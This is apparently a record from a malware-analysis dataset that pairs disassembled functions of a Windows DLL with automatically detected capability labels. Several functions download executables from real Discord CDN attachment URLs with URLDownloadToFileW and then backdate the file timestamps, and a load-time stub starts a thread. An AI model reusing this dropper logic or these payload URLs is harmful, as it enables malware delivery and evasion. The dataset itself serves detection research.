joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18005fb90
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb3
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1260270411631951893_tzx.exe_ex6699ea88is66989908hm8e9f027eaf1350be6c77090dc1b02423c307c818dcf584af6756efa319b30ef6
lea rcx, [rbp - 0x19]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x1800f5230]
lea rcx, [rbp + 7]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d22f8
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180069210
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180069210
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005fad0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800d2090
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x18005fcb8
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18005fc8d
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18005fc9b
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x18005fc80
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x18005fcd6
imul rax, rax, 0x64
jmp 0x18005fcf1
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x18005fd0e
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x18005fd1c
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.18006c020
mov dword [rbp - 0x49], 0xc07e3
mov ebx, 7
mov dword [rbp - 0x43], 0xb0007
mov dword [rbp - 0x3f], Ordinal_50
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x18005fda7
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, ebx
mov edx, 0x100
lea rcx, [0x1800f5230]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18005fda7
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.180069710
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x18005fdd0
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb5
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1260270446679691294_gosth.exe_ex6699ea91is66989911hm730a60d2bbe4e9d8244d2e849c9caa13f9ff7ff619c32bd4f133d9849f5d2ac0
lea rcx, [rbp - 0x19]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x1800f5230]
lea rcx, [rbp + 7]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d22f8
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180069210
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180069210
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005fad0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800d2090
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x18005fef8
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18005fecd
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18005fedb
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x18005fec0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x18005ff16
imul rax, rax, 0x64
jmp 0x18005ff31
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x18005ff4e
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x18005ff5c
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.18006c020
mov dword [rbp - 0x49], 0xc07e3
mov ebx, 7
mov dword [rbp - 0x43], 0xb0007
mov dword [rbp - 0x3f], Ordinal_50
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x18005ffe7
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, ebx
mov edx, 0x100
lea rcx, [0x1800f5230]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18005ffe7
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.180069710
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180060010
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb8
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1260270462198353951_hydrogen.exe_ex66989914is66974794hm825f1a50118eda8c2e801c57d44eb7b1cfb4a5aaa6722bc093410e113c9f00f0
lea rcx, [rbp - 0x19]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x1800f5230]
lea rcx, [rbp + 7]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d22f8
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180069210
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180069210
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005fad0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800d2090
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x180060138
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18006010d
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18006011b
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x180060100
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180060156
imul rax, rax, 0x64
jmp 0x180060171
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x18006018e
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x18006019c
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.18006c020
mov dword [rbp - 0x49], 0xc07e3
mov ebx, 7
mov dword [rbp - 0x43], 0xb0007
mov dword [rbp - 0x3f], Ordinal_50
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x180060227
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, ebx
mov edx, 0x100
lea rcx, [0x1800f5230]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180060227
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.180069710
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180060250
Capabilities:
Download url
Receive data
Timestomp file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 9], xmm1
mov r8d, 0xb8
lea rdx, str.https:__cdn.discordapp.com_attachments_1161709393218379867_1260270462198353951_hydrogen.exe_ex6699ea94is66989914hm11f27592f62f22cf8605dd833623d7a0df094f4d96642c9170e1dfa7abf5f36a
lea rcx, [rbp - 0x19]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x1800f5230]
lea rcx, [rbp + 7]
call fcn.18006aff0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
xor esi, esi
mov qword [rbp - 0x29], rsi
lea ecx, [rsi + 0x40]
call fcn.1800d22f8
mov rbx, rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rdi, [rax + 0x40]
mov qword [rbp - 0x29], rdi
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rbx
lea rax, [rbp - 0x39]
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x77], rbx
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.180069210
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 7]
call fcn.180069210
nop
mov qword [rbp - 0x31], rdi
lea r9, [fcn.18005fad0]
lea edx, [rsi + 0x40]
lea r8d, [rsi + 1]
lea rcx, [rbp - 0x19]
call fcn.1800d2090
mov rdi, qword [rbp - 0x31]
mov rbx, qword [rbp - 0x39]
cmp rbx, rdi
je 0x180060378
add rbx, 0x20
nop dword [rax]
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x18006034d
mov r8, qword [rbx]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], 8
jb 0x18006035b
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rdi
jne 0x180060340
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180060396
imul rax, rax, 0x64
jmp 0x1800603b1
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x1800603ce
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x67], rcx
jmp 0x1800603dc
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x67], rax
lea rcx, [rbp + 0x67]
call fcn.18006c020
mov dword [rbp - 0x49], 0xc07e3
mov ebx, 7
mov dword [rbp - 0x43], 0xb0007
mov dword [rbp - 0x3f], Ordinal_50
mov word [rbp - 0x3b], si
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x180060467
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, ebx
mov edx, 0x100
lea rcx, [0x1800f5230]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180060467
lea r9, [rbp + 0x6f]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x39]
call fcn.180069710
mov rbx, qword [rsp + 0x108]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180067870
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x1800678a3
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
lea r8, [0x180060490]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x30
pop rbx
ret

Function at 0x180067bf0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x180067c11
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x180067c3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180067c40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180067c99
test ecx, ecx
jle 0x180067c79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180067c99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180067c99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
stosb byte [rdi], al
shr byte [rbp - 0x76], cl
lodsb al, byte [rsi]
xchg rbx, rax
xchg ecx, eax
xchg edi, eax
lodsd eax, dword [rsi]
and esi, edi
out 0x32, eax
sar esp, 0x8b
pop rsp
iretd
Function at 0x180067cc0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180067cf1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x180067d08
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180067d2b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180067d2d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180067d69
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180067dfe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x180067da4
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x180067dde
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x180067dfe
cmp rbx, rax
ja 0x180067db0
test rbx, rbx
je 0x180067dfe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
and r12b, byte [r14]
xor eax, 0x37023e34
add dh, byte ds:[0x1a3443961]
and al, byte [rsi]
invalid
Function at 0x180068250
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180068274
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800682b7
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x1800682b7
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x1800683e8
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800682fa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180068325
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x1800683ed
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x18006839a
sub eax, 1
je 0x18006839a
cmp eax, 2
jne 0x1800683e8
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x1800683ed
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x1800683cb
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1800683e8
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1800683ed
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x180068820
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x1800689b3
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x1800689b3
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x1800688b9
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x1800689d7
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x1800688cf
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x1800688cf
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x1800688e2
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x18006892d
mov r9d, eax
cmp eax, 0x800
jae 0x1800688fc
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x18006892d
cmp eax, 0x10000
jae 0x180068916
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x18006892d
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x1800689b3
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x180068951
cmp r10d, 3
jae 0x18006895d
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x18006898e
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x180068970
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x18006886e
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x1800689c2
Function at 0x1800697a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180069869
cmp byte [rcx + 0x71], 0
je 0x180069869
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x18006985c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180069818
sub eax, 1
je 0x18006981c
cmp eax, 2
jne 0x18006985c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x18006984a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18006985c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret

Function at 0x18006d2f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
